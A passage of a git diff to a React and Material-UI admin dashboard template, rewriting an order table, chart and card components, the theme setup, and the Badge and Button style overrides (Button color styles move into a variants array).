component="th" id={labelId} scope="row"> - <Link color="secondary">{row.tracking_no}</Link> - </TableCell> - <TableCell>{row.name}</TableCell> - <TableCell align="right">{row.fat}</TableCell> - <TableCell> - <OrderStatus status={row.carbs} /> - </TableCell> - <TableCell align="right"> - <NumericFormat value={row.protein} displayType="text" thousandSeparator prefix="$" /> - </TableCell> - </TableRow> - ); - })} - </TableBody> - </Table> - </TableContainer> - </Box> - ); -} - -OrderTableHead.propTypes = { order: PropTypes.any, orderBy: PropTypes.string }; - -OrderStatus.propTypes = { status: PropTypes.number }; +import PropTypes from 'prop-types'; +// material-ui +import Link from '@mui/material/Link'; +import Stack from '@mui/material/Stack'; +import Table from '@mui/material/Table'; +import TableBody from '@mui/material/TableBody'; +import TableCell from '@mui/material/TableCell'; +import TableContainer from '@mui/material/TableContainer'; +import TableHead from '@mui/material/TableHead'; +import TableRow from '@mui/material/TableRow'; +import Typography from '@mui/material/Typography'; +import Box from '@mui/material/Box'; + +// third-party +import { NumericFormat } from 'react-number-format'; + +// project imports +import Dot from 'components/@extended/Dot'; + +function createData(tracking_no, name, fat, carbs, protein) { + return { tracking_no, name, fat, carbs, protein }; +} + +const rows = [ + createData(84564564, 'Camera Lens', 40, 2, 40570), + createData(98764564, 'Laptop', 300, 0, 180139), + createData(98756325, 'Mobile', 355, 1, 90989), + createData(98652366, 'Handset', 50, 1, 10239), + createData(13286564, 'Computer Accessories', 100, 1, 83348), + createData(86739658, 'TV', 99, 0, 410780), + createData(13256498, 'Keyboard', 125, 2, 70999), + createData(98753263, 'Mouse', 89, 2, 10570), + createData(98753275, 'Desktop', 185, 1, 98063), + createData(98753291, 'Chair', 100, 0, 14001) +]; + +function descendingComparator(a, b, orderBy) { + if (b[orderBy] < a[orderBy]) { + return -1; + } + if (b[orderBy] > a[orderBy]) { + return 1; + } + return 0; +} + +function getComparator(order, orderBy) { + return order === 'desc' ? (a, b) => descendingComparator(a, b, orderBy) : (a, b) => -descendingComparator(a, b, orderBy); +} + +function stableSort(array, comparator) { + const stabilizedThis = array.map((el, index) => [el, index]); + stabilizedThis.sort((a, b) => { + const order = comparator(a[0], b[0]); + if (order !== 0) { + return order; + } + return a[1] - b[1]; + }); + return stabilizedThis.map((el) => el[0]); +} + +const headCells = [ + { + id: 'tracking_no', + align: 'left', + disablePadding: false, + label: 'Tracking No.' + }, + { + id: 'name', + align: 'left', + disablePadding: true, + label: 'Product Name' + }, + { + id: 'fat', + align: 'right', + disablePadding: false, + label: 'Total Order' + }, + { + id: 'carbs', + align: 'left', + disablePadding: false, + + label: 'Status' + }, + { + id: 'protein', + align: 'right', + disablePadding: false, + label: 'Total Amount' + } +]; + +// ==============================|| ORDER TABLE - HEADER ||============================== // + +function OrderTableHead({ order, orderBy }) { + return ( + <TableHead> + <TableRow> + {headCells.map((headCell) => ( + <TableCell + key={headCell.id} + align={headCell.align} + padding={headCell.disablePadding ? 'none' : 'normal'} + sortDirection={orderBy === headCell.id ? order : false} + > + {headCell.label} + </TableCell> + ))} + </TableRow> + </TableHead> + ); +} + +function OrderStatus({ status }) { + let color; + let title; + + switch (status) { + case 0: + color = 'warning'; + title = 'Pending'; + break; + case 1: + color = 'success'; + title = 'Approved'; + break; + case 2: + color = 'error'; + title = 'Rejected'; + break; + default: + color = 'primary'; + title = 'None'; + } + + return ( + <Stack direction="row" sx={{ gap: 1, alignItems: 'center' }}> + <Dot color={color} /> + <Typography>{title}</Typography> + </Stack> + ); +} + +// ==============================|| ORDER TABLE ||============================== // + +export default function OrderTable() { + const order = 'asc'; + const orderBy = 'tracking_no'; + + return ( + <Box> + <TableContainer + sx={{ + width: '100%', + overflowX: 'auto', + position: 'relative', + display: 'block', + maxWidth: '100%', + '& td, & th': { whiteSpace: 'nowrap' } + }} + > + <Table aria-labelledby="tableTitle"> + <OrderTableHead order={order} orderBy={orderBy} /> + <TableBody> + {stableSort(rows, getComparator(order, orderBy)).map((row, index) => { + const labelId = `enhanced-table-checkbox-${index}`; + + return ( + <TableRow + hover + role="checkbox" + sx={{ '&:last-child td, &:last-child th': { border: 0 } }} + tabIndex={-1} + key={row.tracking_no} + > + <TableCell component="th" id={labelId} scope="row"> + <Link color="secondary">{row.tracking_no}</Link> + </TableCell> + <TableCell>{row.name}</TableCell> + <TableCell align="right">{row.fat}</TableCell> + <TableCell> + <OrderStatus status={row.carbs} /> + </TableCell> + <TableCell align="right"> + <NumericFormat value={row.protein} displayType="text" thousandSeparator prefix="$" /> + </TableCell> + </TableRow> + ); + })} + </TableBody> + </Table> + </TableContainer> + </Box> + ); +} + +OrderTableHead.propTypes = { order: PropTypes.any, orderBy: PropTypes.string }; + +OrderStatus.propTypes = { status: PropTypes.number }; diff --git a/src/sections/dashboard/default/ReportAreaChart.jsx b/src/sections/dashboard/default/ReportAreaChart.jsx index 34d32d749..e57915b50 100644 --- a/src/sections/dashboard/default/ReportAreaChart.jsx +++ b/src/sections/dashboard/default/ReportAreaChart.jsx @@ -1,30 +1,30 @@ -// material-ui -import { useTheme } from '@mui/material/styles'; - -import { chartsGridClasses, LineChart } from '@mui/x-charts'; - -const data = [58, 115, 28, 83, 63, 75, 35]; -const labels = ['Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; - -// ==============================|| REPORT AREA CHART ||============================== // - -export default function ReportAreaChart() { - const theme = useTheme(); - - return ( - <LineChart - hideLegend - grid={{ horizontal: true }} - xAxis={[{ data: labels, scaleType: 'point', disableLine: true, tickSize: 7 }]} - yAxis={[{ tickMaxStep: 20, position: 'none' }]} - series={[{ data, showMark: false, id: 'ReportAreaChart', color: theme.vars.palette.warning.main, label: 'Series 1' }]} - height={340} - margin={{ top: 30, bottom: 25, left: 20, right: 20 }} - sx={{ - '& .MuiLineElement-root': { strokeWidth: 1 }, - [`& .${chartsGridClasses.line}`]: { strokeDasharray: '4 4' }, - '& .MuiChartsAxis-root.MuiChartsAxis-directionX .MuiChartsAxis-tick': { stroke: 'transparent' } - }} - /> - ); -} +// material-ui +import { useTheme } from '@mui/material/styles'; + +import { chartsGridClasses, LineChart } from '@mui/x-charts'; + +const data = [58, 115, 28, 83, 63, 75, 35]; +const labels = ['Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; + +// ==============================|| REPORT AREA CHART ||============================== // + +export default function ReportAreaChart() { + const theme = useTheme(); + + return ( + <LineChart + hideLegend + grid={{ horizontal: true }} + xAxis={[{ data: labels, scaleType: 'point', disableLine: true, tickSize: 7 }]} + yAxis={[{ tickMaxStep: 20, position: 'none' }]} + series={[{ data, showMark: false, id: 'ReportAreaChart', color: theme.vars.palette.warning.main, label: 'Series 1' }]} + height={340} + margin={{ top: 30, bottom: 25, left: 20, right: 20 }} + sx={{ + '& .MuiLineElement-root': { strokeWidth: 1 }, + [`& .${chartsGridClasses.line}`]: { strokeDasharray: '4 4' }, + '& .MuiChartsAxis-root.MuiChartsAxis-directionX .MuiChartsAxis-tick': { stroke: 'transparent' } + }} + /> + ); +} diff --git a/src/sections/dashboard/default/SaleReportCard.jsx b/src/sections/dashboard/default/SaleReportCard.jsx index 1572bd888..061ae7109 100644 --- a/src/sections/dashboard/default/SaleReportCard.jsx +++ b/src/sections/dashboard/default/SaleReportCard.jsx @@ -1,59 +1,59 @@ -import { useState } from 'react'; - -// material-ui -import Grid from '@mui/material/Grid'; -import MenuItem from '@mui/material/MenuItem'; -import TextField from '@mui/material/TextField'; -import Typography from '@mui/material/Typography'; - -// project imports -import SalesChart from 'sections/dashboard/SalesChart'; - -// sales report status -const status = [ - { - value: 'today', - label: 'Today' - }, - { - value: 'month', - label: 'This Month' - }, - { - value: 'year', - label: 'This Year' - } -]; - -// ==============================|| DEFAULT - SALES REPORT ||============================== // - -export default function SaleReportCard() { - const [value, setValue] = useState('today'); - - return ( - <> - <Grid container sx={{ alignItems: 'center', justifyContent: 'space-between' }}> - <Grid> - <Typography variant="h5">Sales Report</Typography> - </Grid> - <Grid> - <TextField - id="standard-select-currency" - size="small" - select - value={value} - onChange={(e) => setValue(e.target.value)} - slotProps={{ htmlInput: { sx: { py: 0.75, fontSize: '0.875rem' } } }} - > - {status.map((option) => ( - <MenuItem key={option.value} value={option.value}> - {option.label} - </MenuItem> - ))} - </TextField> - </Grid> - </Grid> - <SalesChart /> - </> - ); -} +import { useState } from 'react'; + +// material-ui +import Grid from '@mui/material/Grid'; +import MenuItem from '@mui/material/MenuItem'; +import TextField from '@mui/material/TextField'; +import Typography from '@mui/material/Typography'; + +// project imports +import SalesChart from 'sections/dashboard/SalesChart'; + +// sales report status +const status = [ + { + value: 'today', + label: 'Today' + }, + { + value: 'month', + label: 'This Month' + }, + { + value: 'year', + label: 'This Year' + } +]; + +// ==============================|| DEFAULT - SALES REPORT ||============================== // + +export default function SaleReportCard() { + const [value, setValue] = useState('today'); + + return ( + <> + <Grid container sx={{ alignItems: 'center', justifyContent: 'space-between' }}> + <Grid> + <Typography variant="h5">Sales Report</Typography> + </Grid> + <Grid> + <TextField + id="standard-select-currency" + size="small" + select + value={value} + onChange={(e) => setValue(e.target.value)} + slotProps={{ htmlInput: { sx: { py: 0.75, fontSize: '0.875rem' } } }} + > + {status.map((option) => ( + <MenuItem key={option.value} value={option.value}> + {option.label} + </MenuItem> + ))} + </TextField> + </Grid> + </Grid> + <SalesChart /> + </> + ); +} diff --git a/src/sections/dashboard/default/UniqueVisitorCard.jsx b/src/sections/dashboard/default/UniqueVisitorCard.jsx index dc193fcc7..931e9fa10 100644 --- a/src/sections/dashboard/default/UniqueVisitorCard.jsx +++ b/src/sections/dashboard/default/UniqueVisitorCard.jsx @@ -1,53 +1,53 @@ -import { useState } from 'react'; - -// material-ui -import Button from '@mui/material/Button'; -import Grid from '@mui/material/Grid'; -import Stack from '@mui/material/Stack'; -import Typography from '@mui/material/Typography'; -import Box from '@mui/material/Box'; - -// project imports -import MainCard from 'components/MainCard'; -import IncomeAreaChart from './IncomeAreaChart'; - -// ==============================|| DEFAULT - UNIQUE VISITOR ||============================== // - -export default function UniqueVisitorCard() { - const [view, setView] = useState('monthly'); // 'monthly' or 'weekly' - - return ( - <> - <Grid container sx={{ justifyContent: 'space-between', alignItems: 'center' }}> - <Grid> - <Typography variant="h5">Unique Visitor</Typography> - </Grid> - <Grid> - <Stack direction="row" sx={{ alignItems: 'center' }}> - <Button - size="small" - onClick={() => setView('monthly')} - color={view === 'monthly' ? 'primary' : 'secondary'} - variant={view === 'monthly' ? 'outlined' : 'text'} - > - Month - </Button> - <Button - size="small" - onClick={() => setView('weekly')} - color={view === 'weekly' ? 'primary' : 'secondary'} - variant={view === 'weekly' ? 'outlined' : 'text'} - > - Week - </Button> - </Stack> - </Grid> - </Grid> - <MainCard content={false} sx={{ mt: 1.5 }}> - <Box sx={{ pt: 1, pr: 2 }}> - <IncomeAreaChart view={view} /> - </Box> - </MainCard> - </> - ); -} +import { useState } from 'react'; + +// material-ui +import Button from '@mui/material/Button'; +import Grid from '@mui/material/Grid'; +import Stack from '@mui/material/Stack'; +import Typography from '@mui/material/Typography'; +import Box from '@mui/material/Box'; + +// project imports +import MainCard from 'components/MainCard'; +import IncomeAreaChart from './IncomeAreaChart'; + +// ==============================|| DEFAULT - UNIQUE VISITOR ||============================== // + +export default function UniqueVisitorCard() { + const [view, setView] = useState('monthly'); // 'monthly' or 'weekly' + + return ( + <> + <Grid container sx={{ justifyContent: 'space-between', alignItems: 'center' }}> + <Grid> + <Typography variant="h5">Unique Visitor</Typography> + </Grid> + <Grid> + <Stack direction="row" sx={{ alignItems: 'center' }}> + <Button + size="small" + onClick={() => setView('monthly')} + color={view === 'monthly' ? 'primary' : 'secondary'} + variant={view === 'monthly' ? 'outlined' : 'text'} + > + Month + </Button> + <Button + size="small" + onClick={() => setView('weekly')} + color={view === 'weekly' ? 'primary' : 'secondary'} + variant={view === 'weekly' ? 'outlined' : 'text'} + > + Week + </Button> + </Stack> + </Grid> + </Grid> + <MainCard content={false} sx={{ mt: 1.5 }}> + <Box sx={{ pt: 1, pr: 2 }}> + <IncomeAreaChart view={view} /> + </Box> + </MainCard> + </> + ); +} diff --git a/src/themes/custom-shadows.jsx b/src/themes/custom-shadows.jsx index 4da1d8736..baf483855 100644 --- a/src/themes/custom-shadows.jsx +++ b/src/themes/custom-shadows.jsx @@ -1,26 +1,26 @@ -// project imports -import { withAlpha } from 'utils/colorUtils'; - -// ==============================|| DEFAULT THEME - CUSTOM SHADOWS ||============================== // - -export default function CustomShadows(palette) { - return { - button: `0 2px #0000000b`, - text: `0 -1px 0 rgb(0 0 0 / 12%)`, - z1: `0px 1px 4px ${withAlpha(palette.grey[900], 0.08)}`, - primary: `0 0 0 2px ${withAlpha(palette.primary.main, 0.2)}`, - secondary: `0 0 0 2px ${withAlpha(palette.secondary.main, 0.2)}`, - error: `0 0 0 2px ${withAlpha(palette.error.main, 0.2)}`, - warning: `0 0 0 2px ${withAlpha(palette.warning.main, 0.2)}`, - info: `0 0 0 2px ${withAlpha(palette.info.main, 0.2)}`, - success: `0 0 0 2px ${withAlpha(palette.success.main, 0.2)}`, - grey: `0 0 0 2px ${withAlpha(palette.grey[500], 0.2)}`, - primaryButton: `0 14px 12px ${withAlpha(palette.primary.main, 0.2)}`, - secondaryButton: `0 14px 12px ${withAlpha(palette.secondary.main, 0.2)}`, - errorButton: `0 14px 12px ${withAlpha(palette.error.main, 0.2)}`, - warningButton: `0 14px 12px ${withAlpha(palette.warning.main, 0.2)}`, - infoButton: `0 14px 12px ${withAlpha(palette.info.main, 0.2)}`, - successButton: `0 14px 12px ${withAlpha(palette.success.main, 0.2)}`, - greyButton: `0 14px 12px ${withAlpha(palette.grey[500], 0.2)}` - }; -} +// project imports +import { withAlpha } from 'utils/colorUtils'; + +// ==============================|| DEFAULT THEME - CUSTOM SHADOWS ||============================== // + +export default function CustomShadows(palette) { + return { + button: `0 2px #0000000b`, + text: `0 -1px 0 rgb(0 0 0 / 12%)`, + z1: `0px 1px 4px ${withAlpha(palette.grey[900], 0.08)}`, + primary: `0 0 0 2px ${withAlpha(palette.primary.main, 0.2)}`, + secondary: `0 0 0 2px ${withAlpha(palette.secondary.main, 0.2)}`, + error: `0 0 0 2px ${withAlpha(palette.error.main, 0.2)}`, + warning: `0 0 0 2px ${withAlpha(palette.warning.main, 0.2)}`, + info: `0 0 0 2px ${withAlpha(palette.info.main, 0.2)}`, + success: `0 0 0 2px ${withAlpha(palette.success.main, 0.2)}`, + grey: `0 0 0 2px ${withAlpha(palette.grey[500], 0.2)}`, + primaryButton: `0 14px 12px ${withAlpha(palette.primary.main, 0.2)}`, + secondaryButton: `0 14px 12px ${withAlpha(palette.secondary.main, 0.2)}`, + errorButton: `0 14px 12px ${withAlpha(palette.error.main, 0.2)}`, + warningButton: `0 14px 12px ${withAlpha(palette.warning.main, 0.2)}`, + infoButton: `0 14px 12px ${withAlpha(palette.info.main, 0.2)}`, + successButton: `0 14px 12px ${withAlpha(palette.success.main, 0.2)}`, + greyButton: `0 14px 12px ${withAlpha(palette.grey[500], 0.2)}` + }; +} diff --git a/src/themes/index.jsx b/src/themes/index.jsx index dc53539c3..f723aea22 100644 --- a/src/themes/index.jsx +++ b/src/themes/index.jsx @@ -1,71 +1,71 @@ -import PropTypes from 'prop-types'; -import { useMemo } from 'react'; - -// material-ui -import { createTheme, StyledEngineProvider, ThemeProvider } from '@mui/material/styles'; -import CssBaseline from '@mui/material/CssBaseline'; - -// project imports -import useConfig from 'hooks/useConfig'; -import CustomShadows from './custom-shadows'; -import componentsOverride from './overrides'; -import { buildPalette } from './palette'; -import Typography from './typography'; - -// ==============================|| DEFAULT THEME - MAIN ||============================== // - -export default function ThemeCustomization({ children }) { - const { state } = useConfig(); - - const themeTypography = useMemo(() => Typography(state.fontFamily), [state.fontFamily]); - - const palette = useMemo(() => buildPalette(state.presetColor), [state.presetColor]); - - const themeOptions = useMemo( - () => ({ - breakpoints: { - values: { - xs: 0, - sm: 768, - md: 1024, - lg: 1266, - xl: 1440 - } - }, - direction: 'ltr', - mixins: { - toolbar: { - minHeight: 60, - paddingTop: 8, - paddingBottom: 8 - } - }, - typography: themeTypography, - colorSchemes: { - light: { - palette: palette.light, - customShadows: CustomShadows(palette.light, 'light') - } - }, - cssVariables: { - cssVarPrefix: '', - colorSchemeSelector: 'data-color-scheme' - } - }), - [themeTypography, palette] - ); - - const themes = createTheme(themeOptions); - themes.components = componentsOverride(themes); - - return ( - <StyledEngineProvider injectFirst> - <ThemeProvider disableTransitionOnChange theme={themes} modeStorageKey="theme-mode" defaultMode="light"> - <CssBaseline enableColorScheme /> - {children} - </ThemeProvider> - </StyledEngineProvider> - ); -} - -ThemeCustomization.propTypes = { children: PropTypes.node }; +import PropTypes from 'prop-types'; +import { useMemo } from 'react'; + +// material-ui +import { createTheme, StyledEngineProvider, ThemeProvider } from '@mui/material/styles'; +import CssBaseline from '@mui/material/CssBaseline'; + +// project imports +import useConfig from 'hooks/useConfig'; +import CustomShadows from './custom-shadows'; +import componentsOverride from './overrides'; +import { buildPalette } from './palette'; +import Typography from './typography'; + +// ==============================|| DEFAULT THEME - MAIN ||============================== // + +export default function ThemeCustomization({ children }) { + const { state } = useConfig(); + + const themeTypography = useMemo(() => Typography(state.fontFamily), [state.fontFamily]); + + const palette = useMemo(() => buildPalette(state.presetColor), [state.presetColor]); + + const themeOptions = useMemo( + () => ({ + breakpoints: { + values: { + xs: 0, + sm: 768, + md: 1024, + lg: 1266, + xl: 1440 + } + }, + direction: 'ltr', + mixins: { + toolbar: { + minHeight: 60, + paddingTop: 8, + paddingBottom: 8 + } + }, + typography: themeTypography, + colorSchemes: { + light: { + palette: palette.light, + customShadows: CustomShadows(palette.light, 'light') + } + }, + cssVariables: { + cssVarPrefix: '', + colorSchemeSelector: 'data-color-scheme' + } + }), + [themeTypography, palette] + ); + + const themes = createTheme(themeOptions); + themes.components = componentsOverride(themes); + + return ( + <StyledEngineProvider injectFirst> + <ThemeProvider disableTransitionOnChange theme={themes} modeStorageKey="theme-mode" defaultMode="light"> + <CssBaseline enableColorScheme /> + {children} + </ThemeProvider> + </StyledEngineProvider> + ); +} + +ThemeCustomization.propTypes = { children: PropTypes.node }; diff --git a/src/themes/overrides/Badge.js b/src/themes/overrides/Badge.js index 1f2edc96d..1a61a90b3 100644 --- a/src/themes/overrides/Badge.js +++ b/src/themes/overrides/Badge.js @@ -1,41 +1,41 @@ -// project imports -import getColors from 'utils/getColors'; - -// ==============================|| BADGE - COLORS ||============================== // - -function getColorStyle({ color, theme }) { - const colors = getColors(theme, color); - const { lighter, main } = colors; - - return { - color: main, - backgroundColor: lighter - }; -} - -// ==============================|| OVERRIDES - BADGE ||============================== // - -export default function Badge(theme) { - const defaultLightBadge = getColorStyle({ color: 'primary', theme }); - - return { - MuiBadge: { - styleOverrides: { - standard: { - minWidth: theme.spacing(2), - height: theme.spacing(2), - padding: theme.spacing(0.5) - }, - light: { - ...defaultLightBadge, - '&.MuiBadge-colorPrimary': getColorStyle({ color: 'primary', theme }), - '&.MuiBadge-colorSecondary': getColorStyle({ color: 'secondary', theme }), - '&.MuiBadge-colorError': getColorStyle({ color: 'error', theme }), - '&.MuiBadge-colorInfo': getColorStyle({ color: 'info', theme }), - '&.MuiBadge-colorSuccess': getColorStyle({ color: 'success', theme }), - '&.MuiBadge-colorWarning': getColorStyle({ color: 'warning', theme }) - } - } - } - }; -} +// project imports +import getColors from 'utils/getColors'; + +// ==============================|| BADGE - COLORS ||============================== // + +function getColorStyle({ color, theme }) { + const colors = getColors(theme, color); + const { lighter, main } = colors; + + return { + color: main, + backgroundColor: lighter + }; +} + +// ==============================|| OVERRIDES - BADGE ||============================== // + +export default function Badge(theme) { + const defaultLightBadge = getColorStyle({ color: 'primary', theme }); + + return { + MuiBadge: { + styleOverrides: { + badge: { + minWidth: theme.spacing(2), + height: theme.spacing(2), + padding: theme.spacing(0.5) + }, + light: { + ...defaultLightBadge, + '&.MuiBadge-colorPrimary': getColorStyle({ color: 'primary', theme }), + '&.MuiBadge-colorSecondary': getColorStyle({ color: 'secondary', theme }), + '&.MuiBadge-colorError': getColorStyle({ color: 'error', theme }), + '&.MuiBadge-colorInfo': getColorStyle({ color: 'info', theme }), + '&.MuiBadge-colorSuccess': getColorStyle({ color: 'success', theme }), + '&.MuiBadge-colorWarning': getColorStyle({ color: 'warning', theme }) + } + } + } + }; +} diff --git a/src/themes/overrides/Button.js b/src/themes/overrides/Button.js index b2aaaa63b..7c662c7d2 100644 --- a/src/themes/overrides/Button.js +++ b/src/themes/overrides/Button.js @@ -1,219 +1,228 @@ -// project imports -import { withAlpha } from 'utils/colorUtils'; -import getColors from 'utils/getColors'; -import getShadow from 'utils/getShadow'; - -function getColorStyle({ variant, color, theme }) { - const colors = getColors(theme, color); - const { lighter, main, dark, darker, contrastText } = colors; - - const buttonShadow = `${color}Button`; - const shadows = getShadow(theme, buttonShadow); - - const commonShadow = { - '&::after': { - boxShadow: `0 0 5px 5px ${withAlpha(main, 0.9)}` - }, - '&:active::after': { - boxShadow: `0 0 0 0 ${withAlpha(main, 0.9)}` - }, - '&:focus-visible': { - outline: `2px solid ${dark}`, - outlineOffset: 2 - } - }; - - switch (variant) { - case 'contained': - return { - '&:hover': { - backgroundColor: dark - }, - ...commonShadow - }; - case 'shadow': - return { - color: contrastText, - backgroundColor: main, - boxShadow: shadows, - '&:hover': { - boxShadow: 'none', - backgroundColor: dark - }, - ...commonShadow - }; - case 'outlined': - return { - borderColor: main, - '&:hover': { - color: dark, - backgroundColor: 'transparent', - borderColor: dark - }, - ...commonShadow - }; - case 'dashed': - return { - color: main, - borderColor: main, - backgroundColor: lighter, - '&:hover': { - color: dark, - borderColor: dark - }, - ...commonShadow - }; - case 'text': - default: - return { - color: dark, - '&:hover': { - color: darker, - backgroundColor: lighter - }, - ...commonShadow - }; - } -} - -// ==============================|| OVERRIDES - BUTTON ||============================== // - -export default function Button(theme) { - const primaryDashed = getColorStyle({ variant: 'dashed', color: 'primary', theme }); - const primaryShadow = getColorStyle({ variant: 'shadow', color: 'primary', theme }); - - const disabledStyle = { - backgroundColor: theme.vars.palette.grey[200], - '&:hover': { - backgroundColor: theme.vars.palette.grey[200] - } - }; - const iconStyle = { - '&>*:nth-of-type(1)': { - fontSize: 'inherit' - } - }; - - return { - MuiButton: { - defaultProps: { - disableElevation: true - }, - styleOverrides: { - root: { - fontWeight: 400, - '&::after': { - content: '""', - display: 'block', - position: 'absolute', - left: 0, - top: 0, - width: '100%', - height: '100%', - borderRadius: 4, - opacity: 0, - transition: 'all 0.5s' - }, - - '&:active::after': { - position: 'absolute', - borderRadius: 4, - left: 0, - top: 0, - opacity: 1, - transition: '0s' - } - }, - contained: { - '&.Mui-disabled': { - ...disabledStyle - } - }, - outlined: { - '&.Mui-disabled': { - ...disabledStyle, - '&:hover': { - backgroundColor: theme.vars.palette.grey[200], - color: `${theme.vars.palette.grey[300]} !important`, - borderColor: 'inherit' - } - } - }, - text: { - boxShadow: 'none', - '&:hover': { - boxShadow: 'none' - } - }, - endIcon: { - ...iconStyle - }, - startIcon: { - ...iconStyle - }, - dashed: { - border: '1px dashed', - ...primaryDashed, - '&.MuiButton-dashedPrimary': getColorStyle({ variant: 'dashed', color: 'primary', theme }), - '&.MuiButton-dashedSecondary': getColorStyle({ variant: 'dashed', color: 'secondary', theme }), - '&.MuiButton-dashedError': getColorStyle({ variant: 'dashed', color: 'error', theme }), - '&.MuiButton-dashedSuccess': getColorStyle({ variant: 'dashed', color: 'success', theme }), - '&.MuiButton-dashedInfo': getColorStyle({ variant: 'dashed', color: 'info', theme }), - '&.MuiButton-dashedWarning': getColorStyle({ variant: 'dashed', color: 'warning', theme }), - '&.Mui-disabled': { - color: `${theme.vars.palette.grey[300]} !important`, - borderColor: `${theme.vars.palette.grey[400]} !important`, - backgroundColor: `${theme.vars.palette.grey[200]} !important` - } - }, - shadow: { - ...primaryShadow, - '&.MuiButton-shadowPrimary': getColorStyle({ variant: 'shadow', color: 'primary', theme }), - '&.MuiButton-shadowSecondary': getColorStyle({ variant: 'shadow', color: 'secondary', theme }), - '&.MuiButton-shadowError': getColorStyle({ variant: 'shadow', color: 'error', theme }), - '&.MuiButton-shadowSuccess': getColorStyle({ variant: 'shadow', color: 'success', theme }), - '&.MuiButton-shadowInfo': getColorStyle({ variant: 'shadow', color: 'info', theme }), - '&.MuiButton-shadowWarning': getColorStyle({ variant: 'shadow', color: 'warning', theme }), - '&.Mui-disabled': { - color: `${theme.vars.palette.grey[300]} !important`, - borderColor: `${theme.vars.palette.grey[400]} !important`, - backgroundColor: `${theme.vars.palette.grey[200]} !important` - } - }, - containedPrimary: getColorStyle({ variant: 'contained', color: 'primary', theme }), - containedSecondary: getColorStyle({ variant: 'contained', color: 'secondary', theme }), - containedError: getColorStyle({ variant: 'contained', color: 'error', theme }), - containedSuccess: getColorStyle({ variant: 'contained', color: 'success', theme }), - containedInfo: getColorStyle({ variant: 'contained', color: 'info', theme }), - containedWarning: getColorStyle({ variant: 'contained', color: 'warning', theme }), - outlinedPrimary: getColorStyle({ variant: 'outlined', color: 'primary', theme }), - outlinedSecondary: getColorStyle({ variant: 'outlined', color: 'secondary', theme }), - outlinedError: getColorStyle({ variant: 'outlined', color: 'error', theme }), - outlinedSuccess: getColorStyle({ variant: 'outlined', color: 'success', theme }), - outlinedInfo: getColorStyle({ variant: 'outlined', color: 'info', theme }), - outlinedWarning: getColorStyle({ variant: 'outlined', color: 'warning', theme }), - textPrimary: getColorStyle({ variant: 'text', color: 'primary', theme }), - textSecondary: getColorStyle({ variant: 'text', color: 'secondary', theme }), - textError: getColorStyle({ variant: 'text', color: 'error', theme }), - textSuccess: getColorStyle({ variant: 'text', color: 'success', theme }), - textInfo: getColorStyle({ variant: 'text', color: 'info', theme }), - textWarning: getColorStyle({ variant: 'text', color: 'warning', theme }), - sizeExtraSmall: { - minWidth: 56, - fontSize: '0.625rem', - padding: '2px 8px' - }, - loading: { - pointerEvents: 'none !important', - '& svg': { - width: 'inherit', - height: 'inherit' - }, - '&.MuiButton-loadingPositionCenter': { - color: 'transparent !important' - } - } - } - } - }; -} +// project imports +import { withAlpha } from 'utils/colorUtils'; +import getColors from 'utils/getColors'; +import getShadow from 'utils/getShadow'; + +function getColorStyle({ variant, color, theme }) { + const colors = getColors(theme, color); + const { lighter, main, dark, darker, contrastText } = colors; + + const buttonShadow = `${color}Button`; + const shadows = getShadow(theme, buttonShadow); + + const commonShadow = { + '&::after': { + boxShadow: `0 0 5px 5px ${withAlpha(main, 0.9)}` + }, + '&:active::after': { + boxShadow: `0 0 0 0 ${withAlpha(main, 0.9)}` + }, + '&:focus-visible': { + outline: `2px solid ${dark}`, + outlineOffset: 2 + } + }; + + switch (variant) { + case 'contained': + return { + '&:hover': { + backgroundColor: dark + }, + ...commonShadow + }; + case 'shadow': + return { + color: contrastText, + backgroundColor: main, + boxShadow: shadows, + '&:hover': { + boxShadow: 'none', + backgroundColor: dark + }, + ...commonShadow + }; + case 'outlined': + return { + borderColor: main, + '&:hover': { + color: dark, + backgroundColor: 'transparent', + borderColor: dark + }, + ...commonShadow + }; + case 'dashed': + return { + color: main, + borderColor: main, + backgroundColor: lighter, + '&:hover': { + color: dark, + borderColor: dark + }, + ...commonShadow + }; + case 'text': + default: + return { + color: dark, + '&:hover': { + color: darker, + backgroundColor: lighter + }, + ...commonShadow + }; + } +} + +// ==============================|| OVERRIDES - BUTTON ||============================== // + +export default function Button(theme) { + const primaryDashed = getColorStyle({ variant: 'dashed', color: 'primary', theme }); + const primaryShadow = getColorStyle({ variant: 'shadow', color: 'primary', theme }); + + const disabledStyle = { + backgroundColor: theme.vars.palette.grey[200], + '&:hover': { + backgroundColor: theme.vars.palette.grey[200] + } + }; + const iconStyle = { + '&>*:nth-of-type(1)': { + fontSize: 'inherit' + } + }; + + return { + MuiButton: { + defaultProps: { + disableElevation: true + }, + styleOverrides: { + root: { + fontWeight: 400, + '&::after': { + content: '""', + display: 'block', + position: 'absolute', + left: 0, + top: 0, + width: '100%', + height: '100%', + borderRadius: 4, + opacity: 0, + transition: 'all 0.5s' + }, + + '&:active::after': { + position: 'absolute', + borderRadius: 4, + left: 0, + top: 0, + opacity: 1, + transition: '0s' + }, + + variants: [ + { props: { variant: 'contained', color: 'primary' }, style: getColorStyle({ variant: 'contained', color: 'primary', theme }) }, + { + props: { variant: 'contained', color: 'secondary' }, + style: getColorStyle({ variant: 'contained', color: 'secondary', theme }) + }, + { props: { variant: 'contained', color: 'error' }, style: getColorStyle({ variant: 'contained', color: 'error', theme }) }, + { props: { variant: 'contained', color: 'success' }, style: getColorStyle({ variant: 'contained', color: 'success', theme }) }, + { props: { variant: 'contained', color: 'info' }, style: getColorStyle({ variant: 'contained', color: 'info', theme }) }, + { props: { variant: 'contained', color: 'warning' }, style: getColorStyle({ variant: 'contained', color: 'warning', theme }) }, + { props: { variant: 'outlined', color: 'primary' }, style: getColorStyle({ variant: 'outlined', color: 'primary', theme }) }, + { + props: { variant: 'outlined', color: 'secondary' }, + style: getColorStyle({ variant: 'outlined', color: 'secondary', theme }) + }, + { props: { variant: 'outlined', color: 'error' }, style: getColorStyle({ variant: 'outlined', color: 'error', theme }) }, + { props: { variant: 'outlined', color: 'success' }, style: getColorStyle({ variant: 'outlined', color: 'success', theme }) }, + { props: { variant: 'outlined', color: 'info' }, style: getColorStyle({ variant: 'outlined', color: 'info', theme }) }, + { props: { variant: 'outlined', color: 'warning' }, style: getColorStyle({ variant: 'outlined', color: 'warning', theme }) }, + { props: { variant: 'text', color: 'primary' }, style: getColorStyle({ variant: 'text', color: 'primary', theme }) }, + { props: { variant: 'text', color: 'secondary' }, style: 